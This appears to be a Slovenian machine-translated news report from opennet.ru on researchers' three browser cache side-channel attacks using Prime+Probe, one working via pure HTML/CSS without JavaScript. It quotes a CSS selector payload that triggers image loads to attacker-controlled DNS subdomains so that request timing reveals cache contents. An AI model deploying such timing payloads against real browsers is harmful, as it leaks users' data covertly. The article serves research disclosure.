Napad ekstrakcije predpomnilnika procesorja, izveden v spletnem brskalniku brez JavaScripta

Skupina raziskovalcev z več ameriških, izraelskih in avstralskih univerz je razvila tri napade, ki izvajajo spletne brskalnike, da bi pridobili informacije o vsebini predpomnilnika procesorja. Ena metoda deluje v brskalnikih brez JavaScripta, druga dva pa obideta obstoječe metode zaščite pred stranskimi napadi, vključno s tistimi, ki se uporabljajo v brskalniku Tor in DeterFox. Koda za predstavitev napadov in komponente strežnika, potrebne za napade, so objavljene na GitHubu.

Za analizo vsebine predpomnilnika vsi napadi uporabljajo metodo Prime+Probe, ki vključuje polnjenje predpomnilnika s standardnim naborom vrednosti in zaznavanje sprememb z merjenjem časa dostopa do njih ob ponovnem polnjenju. Da bi zaobšli varnostne mehanizme, ki so prisotni v brskalnikih in motijo ​​natančno merjenje časa, se v dveh možnostih pritoži na strežnik DNS ali WebSocket, ki ga nadzoruje napadalec, ki vodi dnevnik časa prejetih zahtev. V eni izvedbi se kot časovna referenca uporablja fiksni odzivni čas DNS.

Meritve, opravljene z uporabo zunanjih strežnikov DNS ali WebSocket, z uporabo klasifikacijskega sistema, ki temelji na strojnem učenju, so zadoščale za napovedovanje vrednosti z natančnostjo do 98% v najbolj optimalnem scenariju (povprečno 80-90%). Metode napada so bile testirane na različnih strojnih platformah (Intel, AMD Ryzen, Apple M1, Samsung Exynos) in so se izkazale za univerzalne.

Napad ekstrakcije predpomnilnika procesorja, izveden v spletnem brskalniku brez JavaScripta

Prva različica napada DNS Racing uporablja klasično izvedbo metode Prime+Probe z uporabo nizov JavaScript. Razlike se zmanjšajo na uporabo zunanjega časovnika, ki temelji na DNS, in orodja za obravnavo napak, ki se sproži, ko se poskuša naložiti slika iz neobstoječe domene. Zunanji časovnik omogoča napad Prime+Probe na brskalnike, ki omejujejo ali popolnoma onemogočajo dostop do časovnikov JavaScript.

Za strežnik DNS, ki se nahaja v istem omrežju Ethernet, je natančnost časovnika ocenjena na približno 2 ms, kar je dovolj za izvedbo napada stranskega kanala (za primerjavo, natančnost standardnega časovnika JavaScript v brskalniku Tor je zmanjšana na 100 ms). Za napad ni potreben nadzor nad strežnikom DNS, saj je čas izvajanja operacije izbran tako, da odzivni čas DNS služi kot znak zgodnejšega zaključka preverjanja (odvisno od tega, ali je bil sprožen obdelovalnik onerror prej ali pozneje se sklepa o hitrosti operacije preverjanja s predpomnilnikom) .

Druga metoda napada, "String and Sock", je namenjena izogibanju varnostnim tehnikam, ki omejujejo uporabo nizov na nizki ravni v JavaScriptu. Namesto nizov String in Sock uporabljata operacije na zelo velikih nizih, katerih velikost je izbrana tako, da spremenljivka pokriva celoten predpomnilnik LLC (Last level cache). Nato se s funkcijo indexOf() v nizu išče majhen podniz, ki ga prvotno ni v izvornem nizu, tj. rezultat operacije iskanja je ponavljanje po celotnem nizu. Ker velikost vrstice ustreza velikosti predpomnilnika LLC, vam skeniranje omogoča izvedbo operacije preverjanja predpomnilnika brez manipulacije nizov. Za merjenje zakasnitev se namesto DNS izvede klic na strežnik WebSocket, ki ga nadzoruje napadalec - pred in po končani operaciji iskanja se v vrstici pošljejo poizvedbe, na podlagi katerih strežnik izračuna zakasnitev, ki se uporablja za analizo predpomnilnika. vsebine.

Tretja različica napada "CSS PP0" se izvaja prek HTML in CSS in lahko deluje v brskalnikih z onemogočenim JavaScriptom. Metoda je podobna "String and Sock", vendar ni vezana na JavaScript. Med napadom se ustvari niz izbirnikov CSS, ki iščejo po maski. Začetni veliki niz, ki zapolni predpomnilnik, se nastavi z ustvarjanjem oznake div z zelo velikim imenom razreda. V notranjosti je nabor drugih divov s svojimi identifikatorji. Vsak od teh ugnezdenih divov ima svoj slog z izbirnikom, ki išče podniz. Pri upodabljanju strani brskalnik najprej poskuša obdelati notranje dive, kar povzroči operacijo iskanja v veliki vrstici. Iskanje se izvede z namenoma manjkajočo masko in vodi do ponavljanja po celotni vrstici, nato pa se sproži pogoj »ne« in poskus nalaganja slike ozadja, ki se nanaša na naključne domene: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Poddomene streže napadalčev strežnik DNS, ki lahko meri zamude pri prejemanju zahtev. Strežnik DNS izda NXDOMAIN za vse zahteve in vodi dnevnik točnega časa zahtev. Kot rezultat obdelave nabora divov strežnik DNS napadalca prejme vrsto zahtev, zakasnitve med katerimi so v korelaciji z rezultatom preverjanja vsebine predpomnilnika.

Napad ekstrakcije predpomnilnika procesorja, izveden v spletnem brskalniku brez JavaScripta


Vir: opennet.ru

Dodaj komentar